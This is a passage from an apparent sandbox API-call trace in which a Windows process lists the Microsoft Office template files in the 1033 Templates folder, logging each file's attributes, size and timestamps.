lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb8921ae, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb8921ae, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb8b847f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x43753, dwReserved0=0x0, dwReserved1=0x0, cFileName="TimelessReport.dotx", cAlternateFileName="TIMELE~3.DOT")) returned 1 [0197.469] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb8921ae, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb8921ae, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb8b847f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbe72, dwReserved0=0x0, dwReserved1=0x0, cFileName="TimelessResume.dotx", cAlternateFileName="TIMELE~1.DOT")) returned 1 [0197.469] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb8921ae, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb8921ae, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb99d23b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x12f35d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Training.potx", cAlternateFileName="TRAINI~1.POT")) returned 1 [0197.469] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb976f98, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb976f98, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb99d23b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2df34, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidescreenPresentation.potx", cAlternateFileName="WIDESC~1.POT")) returned 1 [0197.469] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb976f98, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb976f98, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb99d23b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x52f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Word 2010 look.dotx", cAlternateFileName="WORD20~1.DOT")) returned 1 [0197.470] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0197.470] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0197.470] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200eca20) returned 1 [0197.470] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec9e0) returned 1 [0197.470] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ecae0) returned 1 [0197.471] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033", nBufferLength=0x105, lpBuffer=0x200ec580, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033", lpFilePart=0x0) returned 0x35 [0197.471] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\*", lpFindFileData=0x200ec800 | out: lpFindFileData=0x200ec800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb571036, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3c29db74, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c29db74, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ecdc460 [0197.471] FindNextFileW (in: hFindFile=0x1ecdc460, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb571036, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3c29db74, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c29db74, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0197.472] FindNextFileW (in: hFindFile=0x1ecdc460, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5972d3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb5bd4f1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb5bd4f1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Access", cAlternateFileName="")) returned 1 [0197.472] FindNextFileW (in: hFindFile=0x1ecdc460, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6099da, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6099da, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb67c092, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x30f09, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdjacencyLetter.dotx", cAlternateFileName="ADJACE~1.DOT")) returned 1 [0197.472] FindNextFileW (in: hFindFile=0x1ecdc460, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb655e8b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb655e8b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb8b847f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x36f5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdjacencyReport.dotx", cAlternateFileName="ADJACE~2.DOT")) returned 1 [0197.472] FindNextFileW (in: hFindFile=0x1ecdc460, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6a2342, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6a2342, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6c858b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3a4e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdjacencyResume.dotx", cAlternateFileName="ADJACE~3.DOT")) returned 1 [0197.472] FindNextFileW (in: hFindFile=0x1ecdc460, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b93a5c4, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b93a5c4, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b9607ff, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x7800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADR1.XLT", cAlternateFileName="")) returned 1 [0197.472] FindNextFileW (in: hFindFile=0x1ecdc460, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b9607ff, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b9607ff, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADR10.XLT", cAlternateFileName="")) returned 1 [0197.472] FindNextFileW (in: hFindFile=0x1ecdc460, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b9607ff, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b9607ff, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x7200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADR2.XLT", cAlternateFileName="")) returned 1 [0197.473] FindNextFileW (in: hFindFile=0x1ecdc460, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b9607ff, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b9607ff, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x7800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADR3.XLT", cAlternateFileName="")) returned 1 [0197.473] FindNextFileW (in: hFindFile=0x1ecdc460, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b9607ff, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b9607ff, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x7600, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADR4.XLT", cAlternateFileName="")) returned 1 [0197.473] FindNextFileW (in: hFindFile=0x1ecdc460, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b9607ff, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b9607ff, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x7800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADR5.XLT", cAlternateFileName="")) returned 1 [0197.473] FindNextFileW (in: hFindFile=0x1ecdc460, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b93a5c4, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b93a5c4, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b9607ff, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x7200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADR6.XLT", cAlternateFileName="")) returned 1 [0197.473] FindNextFileW (in: hFindFile=0x1ecdc460, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b9607ff, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b9607ff, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADR7.XLT", cAlternateFileName="")) returned 1 [0197.473] FindNextFileW (in: hFindFile=0x1ecdc460, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b9607ff, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b9607ff, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x7400, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADR8.XLT", cAlternateFileName="")) returned 1 [0197.473] FindNextFileW (in: hFindFile=0x1ecdc460, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3c29db74, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3c29db74, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c29db74, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x7600, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADR9.XLT", cAlternateFileName="")) returned 1 [0197.474] FindNextFileW (in: hFindFile=0x1ecdc460, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6c858b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6c858b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6c858b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x27b98, dwReserved0=0x0, dwReserved1=0x0, cFileName="ApothecaryLetter.dotx", cAlternateFileName="APOTHE~1.DOT")) returned 1 [0197.474] FindNextFileW (in: hFindFile=0x1ecdc460, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb8b847f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb8b847f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb8b847f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x37480, dwReserved0=0x0, dwReserved1=0x0, cFileName="ApothecaryNewsletter.dotx", cAlternateFileName="APOTHE~3.DOT")) returned 1 [0197.474] FindNextFileW (in: hFindFile=0x1ecdc460, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6ee7d1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6ee7d1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6ee7d1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x36007, dwReserved0=0x0, dwReserved1=0x0, cFileName="ApothecaryResume.dotx", cAlternateFileName="APOTHE~2.DOT")) returned 1 [0197.474] FindNextFileW (in: hFindFile=0x1ecdc460, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6ee7d1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6ee7d1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6ee7d1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x47c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BillingStatement.xltx", cAlternateFileName="BILLIN~1.XLT")) returned 1 [0197.474] FindNextFileW (in: hFindFile=0x1ecdc460, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6ee7d1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6ee7d1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6ee7d1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3a3d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Blog.dotx", cAlternateFileName="BLOG~1.DOT")) returned 1 [0197.474] FindNextFileW (in: hFindFile=0x1ecdc460, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6ee7d1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6ee7d1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6ee7d1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x72a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BloodPressureTracker.xltx", cAlternateFileName="BLOODP~1.XLT")) returned 1 [0197.475] FindNextFileW (in: hFindFile=0x1ecdc460, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6c858b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6c858b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6c858b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdf70, dwReserved0=0x0, dwReserved1=0x0, cFileName="ChronologicalLetter.dotx", cAlternateFileName="CHRONO~1.DOT")) returned 1 [0197.475] FindNextFileW (in: hFindFile=0x1ecdc460, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6c858b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6c858b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6c858b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11aa1, dwReserved0=0x0, dwReserved1=0x0, cFileName="ChronologicalResume.dotx", cAlternateFileName="CHRONO~2.DOT")) returned 1 [0197.475] FindNextFileW (in: hFindFile=0x1ecdc460, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6c858b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6c858b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb714a07, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x125418, dwReserved0=0x0, dwReserved1=0x0, cFileName="ClassicPhotoAlbum.potx", cAlternateFileName="CLASSI~1.POT")) returned 1 [0197.475] FindNextFileW (in: hFindFile=0x1ecdc460, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6ee7d1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6ee7d1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb760eed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x95482, dwReserved0=0x0, dwReserved1=0x0, cFileName="ContemporaryPhotoAlbum.potx", cAlternateFileName="CONTEM~1.POT")) returned 1 [0197.475] FindNextFileW (in: hFindFile=0x1ecdc460, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb760eed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb760eed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb760eed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e536, dwReserved0=0x0, dwReserved1=0x0, cFileName="EssentialLetter.dotx", cAlternateFileName="ESSENT~3.DOT")) returned 1 [0197.475] FindNextFileW (in: hFindFile=0x1ecdc460, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb73ac78, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb73ac78, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb760eed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbafe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="EssentialReport.dotx", cAlternateFileName="ESSENT~2.DOT")) returned 1 [0197.476] FindNextFileW (in: hFindFile=0x1ecdc460, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb73ac78, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb73ac78, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb7ad38b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4593e, dwReserved0=0x0, dwReserved1=0x0, cFileName="EssentialResume.dotx", cAlternateFileName="ESSENT~1.DOT")) returned 1 [0197.476] FindNextFileW (in: hFindFile=0x1ecdc460, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb787155, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb787155, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb787155, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4a4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExpenseReport.xltx", cAlternateFileName="EXPENS~1.XLT")) returned 1 [0197.476] FindNextFileW (in: hFindFile=0x1ecdc460, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e332373, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e332373, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e332373, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GettingStarted16", cAlternateFileName="GETTIN~1")) returned 1 [0197.476] FindNextFileW (in: hFindFile=0x1ecdc460, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb787155, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb787155, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb787155, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf6a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="LoanAmortization.xltx", cAlternateFileName="LOANAM~1.XLT")) returned 1 [0197.476] FindNextFileW (in: hFindFile=0x1ecdc460, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb787155, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb787155, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb787155, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="MAIL.OFT", cAlternateFileName="")) returned 1 [0197.476] FindNextFileW (in: hFindFile=0x1ecdc460, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb787155, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb787155, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb787155, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6bcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office Word 2003 Look.dotx", cAlternateFileName="OFFICE~1.DOT")) returned 1 [0197.476] FindNextFileW (in: hFindFile=0x1ecdc460, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb760eed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb760eed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb760eed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONENOTE", cAlternateFileName="")) returned 1 [0197.477] FindNextFileW (in: hFindFile=0x1ecdc460, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb81fa9e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb81fa9e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb81fa9e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1db9f, dwReserved0=0x0, dwReserved1=0x0, cFileName="OriginLetter.Dotx", cAlternateFileName="ORIGIN~3.DOT")) returned 1 [0197.477] FindNextFileW (in: hFindFile=0x1ecdc460, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb7f98f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb7f98f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb81fa9e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x59f49, dwReserved0=0x0, dwReserved1=0x0, cFileName="OriginReport.Dotx", cAlternateFileName="ORIGIN~2.DOT")) returned 1 [0197.477] FindNextFileW (in: hFindFile=0x1ecdc460, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb7f98f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb7f98f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb7f98f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x21aa3, dwReserved0=0x0, dwReserved1=0x0, cFileName="OriginResume.Dotx", cAlternateFileName="ORIGIN~1.DOT")) returned 1 [0197.477] FindNextFileW (in: hFindFile=0x1ecdc460, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb81fa9e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb81fa9e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb81fa9e, 